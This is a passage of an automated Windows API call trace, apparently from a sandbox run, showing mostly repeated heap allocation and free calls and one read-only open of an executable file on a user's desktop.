HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028530 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba40 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb40 [0075.499] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba40, Size=0x14) returned 0x3183ac0 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb40 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028530 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ac0 | out: hHeap=0x2ad0000) returned 1 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028490 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.499] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183b80 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843e0 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028490 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.499] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0075.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028238 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abae0 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.500] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abae0, Size=0x14) returned 0x3183840 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843c8 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30282d8 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84140 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb40 [0075.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.500] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb40, Size=0x14) returned 0x3183a20 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84140 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0075.500] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0075.501] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84290, Size=0x20) returned 0x30282b0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30281c0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbf0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb40 [0075.501] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abbf0, Size=0x14) returned 0x31839c0 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb40 | out: hHeap=0x2ad0000) returned 1 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.501] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0075.501] GetCurrentThreadId () returned 0x9b0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028238 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbc0 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0075.502] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abbc0, Size=0x14) returned 0x31838e0 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84320 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028558 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbd0 [0075.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.502] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abbd0, Size=0x14) returned 0x3183c00 [0075.502] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183c00, Size=0x24) returned 0x2a20078 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84170 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028558 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abbc0 [0075.503] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183980 [0075.503] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183980, Size=0x24) returned 0x2a20288 [0075.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abbc0 | out: hHeap=0x2ad0000) returned 1 [0075.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028530 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbc0 [0075.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.503] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abbc0, Size=0x14) returned 0x31838c0 [0075.504] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838c0, Size=0x24) returned 0x2a20288 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843b0 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028530 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30283f0 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abae0 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.504] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abae0, Size=0x14) returned 0x3183bc0 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283f0 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.504] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183bc0 | out: hHeap=0x2ad0000) returned 1 [0075.504] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028490 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb00 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abbc0 [0075.505] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb00, Size=0x14) returned 0x31838e0 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abbc0 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028490 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.505] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282b0, Size=0x40) returned 0x2a19178 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6c80 [0075.505] GetCurrentThreadId () returned 0x9b0 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6050 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6628 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.505] GetCurrentThreadId () returned 0x9b0 [0075.505] GetCurrentThreadId () returned 0x9b0 [0075.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.506] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetCurrentThreadId () returned 0x9b0 [0075.506] GetLastError () returned 0x0 [0075.506] GetLastError () returned 0x0 [0075.506] GetLastError () returned 0x0 [0075.506] GetLastError () returned 0x0 [0075.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0075.507] GetLastError () returned 0x0 [0075.507] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.507] GetFileType (hFile=0x2f0) returned 0x1 [0075.507] GetLastError () returned 0x0 [0075.507] GetCurrentThreadId () returned 0x9b0 [0075.507] GetLastError () returned 0x0 [0075.507] GetFileType (hFile=0x2f0) returned 0x1 [0075.507] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.507] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.507] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.507] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.507] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.507] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.507] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.508] GetLastError () returned 0x0 [0075.508] GetCurrentThreadId () returned 0x9b0 [0075.508] GetLastError () returned 0x0 [0075.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.508] GetLastError () returned 0x0 [0075.508] GetLastError () returned 0x0 [0075.508] GetCurrentThreadId () returned 0x9b0 [0075.508] GetLastError () returned 0x0 [0075.508] GetCurrentThreadId () returned 0x9b0 [0075.508] GetLastError () returned 0x0 [0075.508] GetLastError () returned 0x0 [0075.508] GetCurrentThreadId () returned 0x9b0 [0075.508] GetLastError () returned 0x0 [0075.508] GetCurrentThreadId () returned 0x9b0 [0075.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x139e) returned 0x334c918 [0075.508] GetLastError () returned 0x0 [0075.509] GetLastError () returned 0x0 [0075.509] GetCurrentThreadId () returned 0x9b0 [0075.509] GetLastError () returned 0x0 [0075.509] GetCurrentThreadId () returned 0x9b0 [0075.509] GetCurrentThreadId () returned 0x9b0 [0075.509] GetLastError () returned 0x0 [0075.509] GetLastError () returned 0x0 [0075.509] GetCurrentThreadId () returned 0x9b0 [0075.509] GetLastError () returned 0x0 [0075.509] GetLastError () returned 0x0 [0075.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0075.509] CloseHandle (hObject=0x2f0) returned 1 [0075.509] GetLastError () returned 0x0 [0075.509] GetCurrentThreadId () returned 0x9b0 [0075.509] GetLastError () returned 0x0 [0075.510] GetLastError () returned 0x0 [0075.510] GetCurrentThreadId () returned 0x9b0 [0075.510] GetLastError () returned 0x0 [0075.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334dcc0 | out: hHeap=0x2ad0000) returned 1 [0075.510] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x2af0) returned 0x337c2b8 [0075.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c918 | out: hHeap=0x2ad0000) returned 1 [0075.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x210) returned 0x31cf120 [0075.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x30283f0 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18c68 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c68, Size=0x64) returned 0x2a19428 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac04e8 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac04e8, Size=0xb8) returned 0x2cde668 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde668, Size=0xe8) returned 0x3259e50 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3259e50, Size=0x120) returned 0x2c374c0 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x325f6e0 [0075.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35e) returned 0x31ceae0 [0075.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f6e0, Size=0x1a8) returned 0x3028938 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11) returned 0x31838a0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c305a0 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x32ab9b0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x32ab9b0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x32ab9b0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x32ab9b0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c305a0, Size=0x250) returned 0x2ac3d58 [0075.512] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2c1a0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2c1a0 | out: hHeap=0x2ad0000) returned 1 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6e08 [0075.512] GetCurrentThreadId () returned 0x9b0 [0075.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] GetCurrentThreadId () returned 0x9b0 [0075.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.513] HeapFree (in: hHeap=0x2ad0000, 